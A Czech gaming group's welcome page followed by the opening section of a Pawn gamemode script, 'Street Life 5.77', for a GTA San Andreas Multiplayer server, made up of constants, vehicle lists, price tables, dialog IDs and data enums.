DoporučujemeZaložit web nebo e-shop
 

Vítejte na stránkach Los Náhodos

 

A kdo že to vlastně jsme? Jsme "profesionální" herní skupina kamarádů, kteří se potkali na LEGENDÁRNÍ hře Vietcong. Od té doby spolupracujeme a užíváme si spoustu zábavy na mnoha jiných hrách.

 

A na jakých hrách nás můžete potkat? Převážně do našem serveru GTA SAMP a také ve hře Vietcong.

/**************************************************************************************************************************************************************
****************************************************************************************************************************************************************


- ORIGINÁLNA NEMODIFIKOVANÁ VERZIA "STREET LIFE 5.77" VYTVORENÁ PAWNEROM "LYRIcS"
- PONECHAJTE PROSÍM AUTORA MÓDU.


****************************************************************************************************************************************************************
***************************************************************************************************************************************************************/

#include <a_samp>
#include <dini>

#define INFINITY 2147483647

AntiDeAMX()
{
    new a[][] =
    {
        "Unarmed (Fist)",
        "Brass K"
    };
    #pragma unused a
}

//----------------------------------------------

#define dcmd(%1,%2,%3) if ((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, "")))||(((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1
#define MAX_PLAYERS_EX 50
#define MAX_VEHICLES_EX 1600
#define MAX_HOUSES 98
#define MAX_FIRMS 51
#define MAX_PROPERTY 25
#define MAX_BANKS 9
#define MAX_CLANS 10
#define MAX_PLAYER_CREATED_OBJECTS 846
#define MAX_CREATED_BOMBS 50

#define DRIFT_STOP_TIME 900

#define GAMEMODE_VERSION "5.77"

#define MAX_ZONE_NAME 28
#define MAX_VEHICLE_FUEL 10000

#define PING_LIMIT 1000

#define NO_SOUND 1184

#define WEATHER_BLUESKY0 0
#define WEATHER_BLUESKY1 1
#define WEATHER_BLUESKY2 2
#define WEATHER_BLUESKY3 3
#define WEATHER_BLUESKY4 4
#define WEATHER_BLUESKY5 5
#define WEATHER_RAIN0 8
#define WEATHER_FOGGY0 9
#define WEATHER_RAIN1 16
#define WEATHER_SANDSTORM 19
#define WEATHER_DARK0 25
#define WEATHER_DARK1 31
#define WEATHER_FOGGY1 32
#define WEATHER_ORANGE 40
#define WEATHER_TOXIC 43

#define WEATHER_SANDSTORM 19

#pragma tabsize 0

//--------------------------------------

new VehicleName[][] =
{
   "Landstalker",
   "Bravura",
   "Buffalo",
   "Linerunner",
   "Pereniel",
   "Sentinel",
   "Dumper",
   "Firetruck",
   "Trashmaster",
   "Stretch",
   "Manana",
   "Infernus",
   "Voodoo",
   "Pony",
   "Mule",
   "Cheetah",
   "Ambulance",
   "Leviathan",
   "Moonbeam",
   "Esperanto",
   "Taxi",
   "Washington",
   "Bobcat",
   "Mr Whoopee",
   "BF Injection",
   "Hunter",
   "Premier",
   "Enforcer",
   "Securicar",
   "Banshee",
   "Predator",
   "Bus",
   "Rhino",
   "Barracks",
   "Hotknife",
   "Trailer",
   "Previon",
   "Coach",
   "Cabbie",
   "Stallion",
   "Rumpo",
   "RC Bandit",
   "Romero",
   "Packer",
   "Monster Truck",
   "Admiral",
   "Squalo",
   "Seasparrow",
   "Pizzaboy",
   "Tram",
   "Trailer",
   "Turismo",
   "Speeder",
   "Reefer",
   "Tropic",
   "Flatbed",
   "Yankee",
   "Caddy",
   "Solair",
   "Berkley's RC Van",
   "Skimmer",
   "PCJ-600",
   "Faggio",
   "Freeway",
   "RC Baron",
   "RC Raider",
   "Glendale",
   "Oceanic",
   "Sanchez",
   "Sparrow",
   "Patriot",
   "Quad",
   "Coastguard",
   "Dinghy",
   "Hermes",
   "Sabre",
   "Rustler",
   "ZR-350",
   "Walton",
   "Regina",
   "Comet",
   "BMX",
   "Burrito",
   "Camper",
   "Marquis",
   "Baggage",
   "Dozer",
   "Maverick",
   "News Chopper",
   "Rancher",
   "FBI Rancher",
   "Virgo",
   "Greenwood",
   "Jetmax",
   "Hotring",
   "Sandking",
   "Blista Compact",
   "Police Maverick",
   "Boxville",
   "Benson",
   "Mesa",
   "RC Goblin",
   "Hotring Racer",
   "Hotring Racer",
   "Bloodring Banger",
   "Rancher",
   "Super GT",
   "Elegant",
   "Journey",
   "Bike",
   "Mountain Bike",
   "Beagle",
   "Cropdust",
   "Stunt",
   "Tanker",
   "RoadTrain",
   "Nebula",
   "Majestic",
   "Buccaneer",
   "Shamal",
   "Hydra",
   "FCR-900",
   "NRG-500",
   "HPV1000",
   "Cement Truck",
   "Tow Truck",
   "Fortune",
   "Cadrona",
   "FBI Truck",
   "Willard",
   "Forklift",
   "Tractor",
   "Combine",
   "Feltzer",
   "Remington",
   "Slamvan",
   "Blade",
   "Freight",
   "Streak",
   "Vortex",
   "Vincent",
   "Bullet",
   "Clover",
   "Sadler",
   "Firetruck",
   "Hustler",
   "Intruder",
   "Primo",
   "Cargobob",
   "Tampa",
   "Sunrise",
   "Merit",
   "Utility",
   "Nevada",
   "Yosemite",
   "Windsor",
   "Monster Truck",
   "Monster Truck",
   "Uranus",
   "Jester",
   "Sultan",
   "Stratum",
   "Elegy",
   "Raindance",
   "RC Tiger",
   "Flash",
   "Tahoma",
   "Savanna",
   "Bandito",
   "Freight",
   "Trailer",
   "Kart",
   "Mower",
   "Duneride",
   "Sweeper",
   "Broadway",
   "Tornado",
   "AT-400",
   "DFT-30",
   "Huntley",
   "Stafford",
   "BF-400",
   "Newsvan",
   "Tug",
   "Trailer",
   "Emperor",
   "Wayfarer",
   "Euros",
   "Hotdog",
   "Club",
   "Trailer",
   "Trailer",
   "Andromada",
   "Dodo",
   "RC Cam",
   "Launch",
   "Police Car (LS)",
   "Police Car (SF)",
   "Police Car (LV)",
   "Police Ranger",
   "Picador",
   "S.W.A.T. Van",
   "Alpha",
   "Phoenix",
   "Glendale",
   "Sadler",
   "Luggage Trailer",
   "Luggage Trailer",
   "Stair Trailer",
   "Boxville",
   "Farm Plow",
   "Utility Trailer"
};

//----------------------------------------------


#define COLOR_ORANGE 0xFF7700FF
#define COLOR_RED 0xCC0000FF
#define COLOR_RED_LIGHT 0xFF0000FF
#define COLOR_RED_DARK 0xAF0000FF
#define COLOR_WARNING 0xFF1400FF
#define COLOR_YELLOW 0xFFFF00FF
#define COLOR_BLUE_DARK 0x0000FFFF
#define COLOR_BLUE 0x0060FFFF
#define COLOR_BLUE_LIGHT 0x0075FFFF
#define COLOR_CYAN 0x00FFFFFF
#define COLOR_WHITE 0xFFFFFFFF
#define COLOR_BLACK 0x000000FF
#define COLOR_GRAY 0x999999FF
#define COLOR_PINK 0xFF00BBFF
#define COLOR_GOLD 0xFFCC00FF
#define COLOR_ADMIN 0xFF0000FF
#define COLOR_GREEN_LIGHT 0x00FF00AA
#define COLOR_GREEN 0x00BA00AA
#define COLOR_GREEN_DARK 0x009100FF
#define COLOR_YELLOWGREEN 0x60FF00FF
#define COLOR_PURPLE 0x8800FFFF
#define COLOR_BROWN 0xC0702DFF
#define COLOR_PINK_DARK 0xDF1170FF
#define COLOR_KHAKI 0x909000FF
#define COLOR_REDORANGE 0xFF4010FF
#define COLOR_BLACKGREEN 0x006000FF
#define COLOR_YELLOW_LIGHT 0xFFFF70FF

#define COLOR_ORANGE_UNVISIBLE 0xFF770000
#define COLOR_RED_UNVISIBLE 0xFF000000
#define COLOR_RED_LIGHT_UNVISIBLE 0xFF000000
#define COLOR_RED_DARK_UNVISIBLE 0xAF000000
#define COLOR_WARNING_UNVISIBLE 0xFF140000
#define COLOR_YELLOW_UNVISIBLE 0xFFFF0000
#define COLOR_BLUE_DARK_UNVISIBLE 0x5500FF00
#define COLOR_BLUE_UNVISIBLE 0x0000FF00
#define COLOR_BLUE_LIGHT_UNVISIBLE 0x0088FF00
#define COLOR_CYAN_UNVISIBLE 0x00FFFF00
#define COLOR_WHITE_UNVISIBLE 0xFFFFFF00
#define COLOR_BLACK_UNVISIBLE 0x00000000
#define COLOR_GRAY_UNVISIBLE 0x99999900
#define COLOR_PINK_UNVISIBLE 0xFF00BB00
#define COLOR_GOLD_UNVISIBLE 0xFFCC0000
#define COLOR_ADMIN_UNVISIBLE 0xFF000000
#define COLOR_GREEN_LIGHT_UNVISIBLE 0x00FF0000
#define COLOR_GREEN_UNVISIBLE 0x00BA0000
#define COLOR_GREEN_DARK_UNVISIBLE 0x00910000
#define COLOR_YELLOWGREEN_UNVISIBLE 0x60FF0000
#define COLOR_PURPLE_UNVISIBLE 0x8800FF00
#define COLOR_BROWN_UNVISIBLE 0xC0702DFF
#define COLOR_PINK_DARK_UNVISIBLE 0xDF117000
#define COLOR_KHAKI_UNVISIBLE 0x90900000
#define COLOR_REDORANGE_UNVISIBLE 0xFF401000
#define COLOR_BLACKGREEN_UNVISIBLE 0x00600000
#define COLOR_YELLOW_LIGHT_UNVISIBLE 0xFFFF7000

//------------------------------------------------

#define Dialog_NoEffect 1000
#define Dialog_Info1 1001
#define Dialog_Info2 1002
#define Dialog_Info3 1003
#define Dialog_GangAmmo 1004
#define Dialog_BankGen 1005
#define Dialog_BankSet 1006
#define Dialog_BankGet 1007
#define Dialog_Register 1008
#define Dialog_Login 1009
#define Dialog_RegToLog 1010
#define Dialog_HS_H_F 1011
#define Dialog_HS_H_S 1012
#define Dialog_HS_V_Slot 1275
#define Dialog_HS_V_VehM 1276
#define Dialog_HS_V_Menu 1240
#define Dialog_HS_V_Cars 1242
#define Dialog_HS_V_Cars1 1275
#define Dialog_HS_V_Cars2 1276
#define Dialog_HS_V_Cars3 1277
#define Dialog_HS_V_Cars4 1278
#define Dialog_HS_V_Moto 1243
#define Dialog_HS_HouseSell 1274
#define Dialog_HouseSpawn 1279
#define Dialog_Team1 1280
#define Dialog_Team2 1281
#define Dialog_Team3 1282
#define Dialog_Team4 1283
#define Dialog_Team5 1284
#define Dialog_Team6 1285
#define Dialog_Team7 1286
#define Dialog_Team8 1299
#define Dialog_HouseLocked 1287
#define Dialog_ElectroShop 1288
#define Dialog_BuyVodicak 1289
#define Dialog_BuyZbrojak 1290
#define Dialog_Player 1291
#define Dialog_PlayerHP 1292
#define Dialog_PlayerArmour 1293
#define Dialog_FuelPump 1294
#define Dialog_Drag1 1295
#define Dialog_Drag11 1297
#define Dialog_Drag2 1296
#define Dialog_SecretAmmo 1298
#define Dialog_Team9 1300
#define Dialog_Team10 1301
#define Dialog_Team11 1302
#define Dialog_Team12 1303
#define Dialog_Team13 1304
#define Dialog_Team14 1305
#define Dialog_Team15 1306
#define Dialog_Team16 1307
#define Dialog_V_CarsT1 1308
#define Dialog_V_CarsT2 1309
#define Dialog_V_CarsT3 1310
#define Dialog_V_CarsT4 1311
#define Dialog_SkinShop 1312
#define Dialog_Jizzy 1313
#define Dialog_Vypoved 1314
#define Dialog_DMReward 1315
#define Dialog_DMPlayers 1316
#define Dialog_DMWeapons 1317
#define Dialog_MagicDuel 1318
#define Dialog_HS_V_Color 1319
#define Dialog_Locator 1321
#define Dialog_Property 1322
#define Dialog_V_CarsT5 1354
#define Dialog_HS_CMD_menu 1356
#define Dialog_HS_CMD_setw 1357
#define Dialog_HS_CMD_ammo 1358
#define Dialog_HS_CMD_wtype 1359
#define Dialog_HS_CMD_getw 1360
#define Dialog_HS_CMD_setw_input 1361
#define Dialog_HS_CMD_getw_input 1362
#define Dialog_Notebook_menu 1363
#define Dialog_Notebook_IBm 1364
#define Dialog_Notebook_IBs 1365
#define Dialog_Notebook_IBg 1366
#define Dialog_Notebook_Chat 1367
#define Dialog_Notebook_Games 1368
#define Dialog_Notebook_G_ME2 1369
#define Dialog_Notebook_G_NFSSA 1370
#define Dialog_Notebook_G_NFSSA_V 1371
#define Dialog_Notebook_G_D 1376
#define Dialog_Notebook_G_D_V 1377
#define Dialog_Notebook_G_TA 1382
#define Dialog_Notebook_G_TA_T 1383
#define Dialog_Notebook_G_TA_F 1384
#define Dialog_Info4 1385
#define Dialog_Team17 1389
#define Dialog_Team18 1390
#define Dialog_SANEWS_menu 1391
#define Dialog_RobOilWell 1392
#define Dialog_Notebook_G_SP 1393
#define Dialog_VIP_Car 1394
#define Dialog_VIP_Cmenu 1395
#define Dialog_V_CarsT6 1396
#define Dialog_VIP_Pay_skcz 1397
#define Dialog_ChangeSPZ 1398
#define Dialog_Notebook_G_DA 1399
#define Dialog_Team19 1400
#define Dialog_Team20 1401
#define Dialog_Team21 1402
#define Dialog_Team22 1403
#define Dialog_Team23 1404
#define Dialog_Team24 1405
#define Dialog_Team25 1406
#define Dialog_Team26 1407
#define Dialog_Team27 1408
#define Dialog_Team28 1409
#define Dialog_Mobil_menu 1410
#define Dialog_Mobil_NM1 1411
#define Dialog_Mobil_NM2 1412
#define Dialog_Mobil_NM3 1413
#define Dialog_Mobil_PZ1 1414
#define Dialog_Mobil_PZ2 1415
#define Dialog_Mobil_PZ3 1416
#define Dialog_Mobil_RT 1417
#define Dialog_Mobil_RTL 1418
#define Dialog_Mobil_C1 1419
#define Dialog_Mobil_C2 1420
#define Dialog_Mobil_C3 1421
#define Dialog_Blackmail 1422
#define Dialog_FirmTypeSell 1423
#define Dialog_FirmTypeFree 1424
#define Dialog_FirmSluzby 1425
#define Dialog_FirmAdminMenu 1426
#define Dialog_FirmItemsMenu 1427
#define Dialog_FirmChngName 1428
#define Dialog_FirmT57 1429
#define Dialog_FirmIChngWpn 1430
#define Dialog_FirmIChngClr 1431
#define Dialog_FirmIChngItm 1432
#define Dialog_FirmItemMenu 1433
#define Dialog_FirmIChngNme 1434
#define Dialog_FirmIChngPrice 1435
#define Dialog_Notebook_G_DTC 1436
#define Dialog_Brigada0 1437
#define Dialog_Brigada1 1438
#define Dialog_ClanMenuF 1439
#define Dialog_ClanMenuS 1440
#define Dialog_ClanWList 1441
#define Dialog_ClanPlayers 1442
#define Dialog_ClanAllPlayers 1443
#define Dialog_ClanOnlinePlayers 1444
#define Dialog_ClanVehicles 1445
#define Dialog_ClanVehicleItems 1446
#define Dialog_ClanSetMoney 1447
#define Dialog_ClanA_Menu 1448
#define Dialog_ClanA_InvitePlayer 1449
#define Dialog_ClanA_ChangeClanName 1450
#define Dialog_ClanInviteMe 1451
#define Dialog_ClanA_ChangeClanColor 1452
#define Dialog_ClanA_GetClanBank 1453
#define Dialog_ClanA_Upgrades 1454
#define Dialog_ClanA_UpgrdIntList 1455
#define Dialog_ClanA_PlayersSettings 1456
#define Dialog_ClanA_P_Plat 1457
#define Dialog_ClanA_P_Hodnost 1458
#define Dialog_ClanA_P_Majitel1 1459
#define Dialog_ClanA_PlayerSettings 1460
#define Dialog_ClanA_Vehicles 1461
#define Dialog_ClanA_VehMenu 1462
#define Dialog_ClanA_VehColors 1463
#define Dialog_ClanA_NewVehList 1464
#define Dialog_ClanA_NewVehInfo 1465
#define Dialog_ClanA_WList 1466
#define Dialog_ClanA_WInfo 1467
#define Dialog_ClanA_WPlus 1468
#define Dialog_ClanA_WNew 1469
#define Dialog_Notebook_G_MTBR 1470
#define Dialog_MarihuanaPlant 1471
#define Dialog_Inventar 1472
#define Dialog_Inventar_1 1473
#define Dialog_Inventar_2 1474
#define Dialog_Inventar_3 1475
#define Dialog_Inventar_4 1476
#define Dialog_InventarShop 1477
#define Dialog_InventarShop_1 1478
#define Dialog_InventarShop_2 1479
#define Dialog_InventarShop_3 1480
#define Dialog_InventarShop_4 1481
#define Dialog_InventarShop_5 1482
#define Dialog_InventarShop_6 1483
#define Dialog_BombShop 1484
#define Dialog_GiveItem_Item 1485
#define Dialog_GiveItem_Item1 1486
#define Dialog_GiveItem_Item2 1487
#define Dialog_GiveItem_Item3 1488
#define Dialog_GiveItem_Item4 1489
#define Dialog_GiveItem_Pocet 1490
#define Dialog_Mobil_MessageOptions 1491
#define Dialog_Gym1 1492
#define Dialog_Gym2 1493
#define Dialog_Gym3 1494
#define Dialog_HS_CMD_skinm 1495
#define Dialog_HS_CMD_skins 1496
#define Dialog_HS_CMD_sking 1497
#define Dialog_Crack_Menu 1498
#define Dialog_Crack_SetMarihuana 1499
#define Dialog_A_Weather 1500
#define Dialog_Updates 1501
#define Dialog_Mobil_ContactOptions 1502
#define Dialog_PlayerVehiclesMenu 1503
#define Dialog_PlayerVehicleMenu 1504
#define Dialog_PlayerVehicleGiveKey 1505
#define Dialog_PlayerVehicleSellVehicleToPlayer1 1506
#define Dialog_PlayerVehicleSellVehicleToPlayer2 1507
#define Dialog_PlayerVehicleSellVehicleToPlayer3 1508
#define Dialog_CarShop0 1509
#define Dialog_CarShop1 1510
#define Dialog_CarShop2 1511
#define Dialog_CarShop3 1512
#define Dialog_CarShop4 1513
#define Dialog_CarShop5 1514
#define Dialog_CarShop6 1515
#define Dialog_CarShop7 1516
#define Dialog_CarShop8 1517
#define Dialog_CarShop9 1518
#define Dialog_Tutorial1 1519
#define Dialog_Tutorial2 1520
#define Dialog_Tutorial3 1521
#define Dialog_Tutorial4 1522
#define Dialog_Tutorial5 1523
#define Dialog_Tutorial6 1524
#define Dialog_Tutorial7 1525
#define Dialog_Tutorial8 1526
#define Dialog_Tutorial9 1527
#define Dialog_Tutorial10 1528
#define Dialog_Tutorial11 1529
#define Dialog_Tutorial12 1530
#define Dialog_Tutorial13 1531
#define Dialog_Tutorial14 1532
#define Dialog_Tutorial15 1533
#define Dialog_Tutorial16 1534
#define Dialog_Tutorial17 1535
#define Dialog_Tutorial18 1536
#define Dialog_Tutorial19 1537
#define Dialog_Tutorial20 1538
#define Dialog_Tutorial21 1539
#define Dialog_Tutorial22 1540
#define Dialog_Tutorial23 1541
#define Dialog_Tutorial24 1542
#define Dialog_Tutorial25 1543
#define Dialog_Tutorial26 1544
#define Dialog_Tutorial27 1545
#define Dialog_Tutorial28 1546
#define Dialog_Tutorial0 1547
#define Dialog_PM 1548

//------------------------

stock AreStringsSame(string1[], string2[])
{
    if(!strcmp(string1, string2, true)) return true;
    return false;
}

stock lyrhash(what[])
{
    new newstr[129];
    new out[129];
    new deflen = strlen(what);
    new newlen = deflen;
    new changeval[3] = {0, -1, 1};

    format(newstr, 129, "%c%s", 1, what);

    while(newlen < 128)
    {
        newstr[newlen] = newstr[newlen % (deflen + 1)];
        newlen++;
    }

    for(new i=0; i<128; i++) changeval[0] += newstr[i];
    changeval[1] -= (changeval[0] % 100) + newstr[deflen % 128];
    changeval[2] = floatround(floatpower(changeval[0] % 216, changeval[1] % 4));

    for(new i=0; i<128; i++)
    {
        out[i] = 65 + ((i + changeval[0] + changeval[1] + changeval[2]) % 26);

        changeval[0] -= changeval[1];
        changeval[1] -= i;
        changeval[2] += changeval[0] % 5;
    }
    return out;
}

stock StlipString(dstr[], count)
{
   for(new pos = count; pos<strlen(dstr); pos+=count)
   {
      strins(dstr, "\n", chrfind(' ', dstr, pos)+1, 512);
   }
}

stock DestroyVehicleEx(&vehicleid)
{
    DestroyVehicle(vehicleid);
    vehicleid = 0;
    return 1;
}

stock IsKeyJustDown(key, newkeys, oldkeys)
{
    if((newkeys & key) && !(oldkeys & key)) return 1;
    return 0;
}

stock GetClanVehiclePrice(modelid)
{
    new price;

    if(modelid == 405) price = 140000;
    if(modelid == 411) price = 400000;
    if(modelid == 415) price = 320000;
    if(modelid == 418) price = 75000;
    if(modelid == 419) price = 180000;
    if(modelid == 444) price = 480000;
    if(modelid == 451) price = 350000;
    if(modelid == 470) price = 210000;
    if(modelid == 489) price = 200000;
    if(modelid == 490) price = 225000;
    if(modelid == 492) price = 180000;
    if(modelid == 494) price = 400000;
    if(modelid == 495) price = 275000;
    if(modelid == 506) price = 300000;
    if(modelid == 516) price = 200000;
    if(modelid == 521) price = 230000;
    if(modelid == 522) price = 300000;
    if(modelid == 533) price = 200000;
    if(modelid == 535) price = 290000;
    if(modelid == 536) price = 100000;
    if(modelid == 541) price = 285000;
    if(modelid == 550) price = 250000;
    if(modelid == 551) price = 210000;
    if(modelid == 555) price = 245000;
    if(modelid == 558) price = 350000;
    if(modelid == 559) price = 350000;
    if(modelid == 560) price = 350000;
    if(modelid == 562) price = 350000;
    if(modelid == 565) price = 350000;
    if(modelid == 579) price = 280000;
    if(modelid == 581) price = 255000;
    if(modelid == 587) price = 300000;
    if(modelid == 602) price = 300000;
    if(modelid == 603) price = 295000;

    return price;
}

stock GetHouseVehiclePrice(vehicleid)
{
    new price;
         if(vehicleid == 405) price = 110000;
    else if(vehicleid == 410) price = 70000;
    else if(vehicleid == 426) price = 82000;
    else if(vehicleid == 439) price = 145000;
    else if(vehicleid == 442) price = 85000;
    else if(vehicleid == 466) price = 90000;
    else if(vehicleid == 492) price = 100000;
    else if(vehicleid == 491) price = 83500;

    else if(vehicleid == 412) price = 95000;
    else if(vehicleid == 419) price = 120000;
    else if(vehicleid == 567) price = 50000;
    else if(vehicleid == 576) price = 75000;

    else if(vehicleid == 418) price = 60000;
    else if(vehicleid == 489) price = 86000;
    else if(vehicleid == 444) price = 380000;
    else if(vehicleid == 599) price = 200000;

    else if(vehicleid == 411) price = 400000;
    else if(vehicleid == 429) price = 265000;
    else if(vehicleid == 451) price = 360000;
    else if(vehicleid == 477) price = 240000;
    else if(vehicleid == 480) price = 260000;
    else if(vehicleid == 494) price = 400000;
    else if(vehicleid == 506) price = 300000;
    else if(vehicleid == 535) price = 165000;
    else if(vehicleid == 541) price = 250000;
    else if(vehicleid == 550) price = 170000;
    else if(vehicleid == 560) price = 275000;
    else if(vehicleid == 562) price = 275000;
    else if(vehicleid == 587) price = 250000;
    else if(vehicleid == 589) price = 180000;
    else if(vehicleid == 602) price = 230000;
    else if(vehicleid == 559) price = 275000;
    else if(vehicleid == 603) price = 250000;
    else if(vehicleid == 558) price = 275000;
    else if(vehicleid == 565) price = 275000;

    else if(vehicleid == 416) price = 140000;
    else if(vehicleid == 432) price = 890000;
    else if(vehicleid == 508) price = 190000;
    else if(vehicleid == 524) price = 240000;
    else if(vehicleid == 532) price = 280000;
    else if(vehicleid == 574) price = 145000;
    else if(vehicleid == 601) price = 320000;
    else if(vehicleid == 572) price = 80000;
    else if(vehicleid == 409) price = 200000;

    else if(vehicleid == 462) price = 30000;
    else if(vehicleid == 461) price = 130000;
    else if(vehicleid == 463) price = 80000;
    else if(vehicleid == 468) price = 85000;
    else if(vehicleid == 521) price = 180000;
    else if(vehicleid == 522) price = 250000;
    else if(vehicleid == 586) price = 55000;

    else if(vehicleid == 438) price = 60000;
    else if(vehicleid == 441) price = 45000;
    else if(vehicleid == 470) price = 80000;
    else if(vehicleid == 471) price = 60000;
    else if(vehicleid == 487) price = 200000;
    else if(vehicleid == 495) price = 75000;
    else if(vehicleid == 510) price = 10000;
    else if(vehicleid == 539) price = 75000;
    return price;
}

enum MainZone

{
    Zone_Name[28],
    Float:Zone_Area[6]
};

enum ReadPositions
{
    Float:ReadX,
    Float:ReadY,
    Float:ReadZ
}

enum PLAYER_INFO
{
    bool:GPS,
    bool:AFK,
    VIP,
    Bank,
    Team,
    Pivo,
    Vino,
    Skin,
    Mina,
    bool:RCON,
    ClanP,
    FirmP,
    bool:IPIP,
    bool:Mute,
    Speed,
    Kills,
    Money,
    Hours,
    Float:Skill,
    FNC_01,
    FNC_02,
    FNC_03,
    FNC_04,
    ClanID,
    Premie,
    Whisky,
    Reward,
    Raptor,
    SaveID,
    FirmID,
    HouseP,
    Deaths,
    Bagety,
    Sprunk,
    Jointy,
    bool:Logged,
    bool:VK_bool,
    HouseID,
    Minutes,
    bool:Vodicak,
    bool:Zbrojak,
    bool:FreezeP,
    Vyplata,
    RobTime,
    CrackID,
    Dynamit,
    Float:Respect,
    Svetlica,
    ClanRank,
    Cigarety,
    VK_timer,
    bool:Specate,
    Warnings,
    RobTimer,
    bool:Notebook,
    bool:RegSpawn,
    D_Player,
    SaveSkin,
    Predator,
    bool:SpecSpawn,
    SavedSkin,
    DragRacer,
    FailDeath,
    DM_Player,
    TA_Player,
    SP_Player,
    DA_Player,
    Marihuana,
    SaveMoney,
    BrigadaID,
    MissionID,
    bool:DriftState,
    bool:VIP_Color,
    PrisonTime,
    AdminLevel,
    ToMuteTime,
    FalseLogin,
    SpawnMoney,
    bool:FirstSpawn,
    ME2_Player,
    bool:CanEatInvB,
    DTC_Player,
    LastWeapon,
    SavedColor,
    OilWell_ID,
    PropertyID,
    bool:VIP_Logged,
    bool:UseNotebook,
    LottoNumber,
    MTBR_Player,
    BrigadaInfo,
    BrigadaTime,
    MissionInfo,
    GiveItem_PID,
    InternetBank,
    SelectedSkin,
    NFSSA_Player,
    Float:SaveHP,
    SaveInterior,
    bool:UseNotebookTV,
    FightingStyle,
    Float:SavePosX,
    Float:SavePosY,
    Float:SavePosZ,
    SkinIDSkinShop,
    ShowGangPickup,
    SaveMarPlantID,
    bool:RCON_Permission,
    SaveBlackmailID,
    HouseWeaponType,
    GiveItem_ItemID,
    bool:A_MapPointState,
    HouseVehicleType,
    Float:SaveArmour,
    SaveVirtualWorld,
    SaveIDFreeVehSlot,
    SaveBlackmailCash,
    SaveFirmItemNumber,
    bool:IsPlayerJailed,
    bool:LoadPlayerStats,
    SavePlayerVehiclePrice,
    bool:IsPlayerKidnapping,
    bool:IsTDsHideForPlayer,
    SavePlayerVehicleNumber,

    Clan_SaveVehSeries,
    Clan_SaveClanID,
    Clan_SavePlayerRank,
    Clan_SaveVehicleID,
    Clan_SaveWeaponID
}

enum DRAG_SYSTEM
{
    State,
    Reward,
    Pickup,
    Players,
    Float:RaceTime,
    DragTimer,
    StartTime,
    StartTimer,
    StartMoney
}

enum SERVER_INFO
{
    ConP,
    FNC_01,
    Hours,
    Minutes,
    Connects,
    LottoCash,
    A_Vehicles,
    LastMinute,
    TimeUpTimer,
    CreatedBombs,
    WeatherTimer
}

enum HOUSE_STATE
{
    Lock,
    State,
    Text3D:Text3D,
    WeaponAmmo
}

enum CP_INFO
{
    Series,
    Number
}

enum DM_SYSTEM
{
    Reward,
    Players,
    MaxPlayers,
    Weapon1,
    Weapon2,
    Weapon3,
    CountDown,
    SlctdWeaps,
    Timer,
    State
}

enum LOCATOR_INFO
{
    bool:State,
    Float:pX,
    Float:pY,
    Float:pZ
}

enum PROPERTY_SYSTEM
{
    MajitelID,
    Money,
    Price,
    Pickup,
    Text3D:Text3D,
    PropertyName[64]
}

enum A_VEHICLES
{
    bool:Created
}

enum HOUSE_INFO_B
{
    Float:E_x,
    Float:E_y,
    Float:E_z,
    Float:I_x,
    Float:I_y,
    Float:I_z,
    Price,
    Interior,
    VirtualWorld,
    Vehicles,
    WeaponSlots,
    bool:IsHouseVIP
}

enum NOTEBOOK_GAMES
{
    ME2_State,
    ME2_Players,
    ME2_StartTime,
    ME2_MaxPlayers,
    ME2_StateTimer,
    NFSSA_State,
    NFSSA_Players,
    NFSSA_StartTime,
    NFSSA_MaxPlayers,
    NFSSA_StateTimer,
    D_State,
    D_Players,
    D_StartTime,
    D_MaxPlayers,
    D_StateTimer,
    TA_Players,
    TA_T1Kills,
    TA_T2Kills,
    SP_Players,
    DA_State,
    DA_Players,
    DA_StartTime,
    DTC_Players,
    MTBR_State,
    MTBR_Players,
    MTBR_StartTime,
    MTBR_MaxPlayers,
    MTBR_StateTimer
}

enum SANEWS_INFO
{
    bool:State,
    Float:cX,
    Float:cY,
    Float:cZ,
    Float:lX,
    Float:lY,
    Float:lZ,
    bool:CameraPos,
    bool:CameraLookAt
}

enum VIP_PLAYER_INFO
{
    vf,
    vhp,
    vvr,
    vcar,
    vammo,
    vsawn
}

enum MOBIL_SYSTEM
{
    MobilNumber,
    Save_MobilNumber,
    Save_Text[256],
    PZ_MessageNumber,
    bool:PlayingRingtone,
    RingtoneTimer,
    ContactNumber
}

enum FIRM_SYSTEM
{
    Float:fpX,
    Float:fpY,
    Float:fpZ,
    Price,
    Type,
    State,
    Pickup,
    Trzba,
    Text3D:Text3D,
    VirtualWorld
}

enum CLAN_SYSTEM
{
    State,
    Players,
    Vehicles,
    WeaponSlots,
    Float:cpeX,
    Float:cpeY,
    Float:cpeZ,
    Float:cpiX,
    Float:cpiY,
    Float:cpiZ,
    cIntID,
    cVWID,
    Bank,
    Kills,
    Color,
    cInterior,
    Pickup,
    Text3D:cText3D,
    MaxPlayers
}

new IsPlayerUsingLoopingAnimation[MAX_PLAYERS_EX];
new PlayerAnimLibsPreloaded[MAX_PLAYERS_EX];
new CarShopPickup[9];
new PlayerVehicle[5][MAX_PLAYERS_EX];
new PlayerVehicleNeon1[5][MAX_PLAYERS_EX];
new PlayerVehicleNeon2[5][MAX_PLAYERS_EX];
new House[MAX_HOUSES];
new VehicleFuel[MAX_VEHICLES_EX];
new ReadPlayerPosition[MAX_PLAYERS_EX][ReadPositions];
new A_Vehicle[20];
new Game[NOTEBOOK_GAMES];
new MarihuanaPlant[12];
new MarihuanaPlantP[12];
new Mobil[MAX_PLAYERS_EX][MOBIL_SYSTEM];
new BrigadaPickup[2];
new Clan[MAX_CLANS][CLAN_SYSTEM];
new ClanVehicle[5][MAX_CLANS];
new DM[DM_SYSTEM];
new MTBR_Bike[4];
new InvType[MAX_PLAYERS_EX][10];
new ShopPickup[16];
new ClansIntPickups[6];
new BankPickup[MAX_BANKS];
new TA_V[32];
new SP_V[20];
new BombShopPickup;
new ServerWeather;
new CrackPickup[3];
new CrackItems[3];
new CrackPlayerID[3];
new CrackTimeLeft[3];
new Firm[MAX_FIRMS][FIRM_SYSTEM];
new PlayerObject[MAX_PLAYERS_EX][MAX_PLAYER_CREATED_OBJECTS+1];
new SANEWS[SANEWS_INFO];
new SecretAmmoPickup;
new VehicleLockedID[MAX_VEHICLES_EX];
new Property[MAX_PROPERTY][PROPERTY_SYSTEM];
new Pickups_X[31];
new Pickups_Y[8];
new INV_BombID[MAX_CREATED_BOMBS];
new INV_Bomb_T[MAX_CREATED_BOMBS];
new INV_Bomb_M_TimeLeft[MAX_CREATED_BOMBS];
new VIP_Block[MAX_PLAYERS_EX][VIP_PLAYER_INFO];
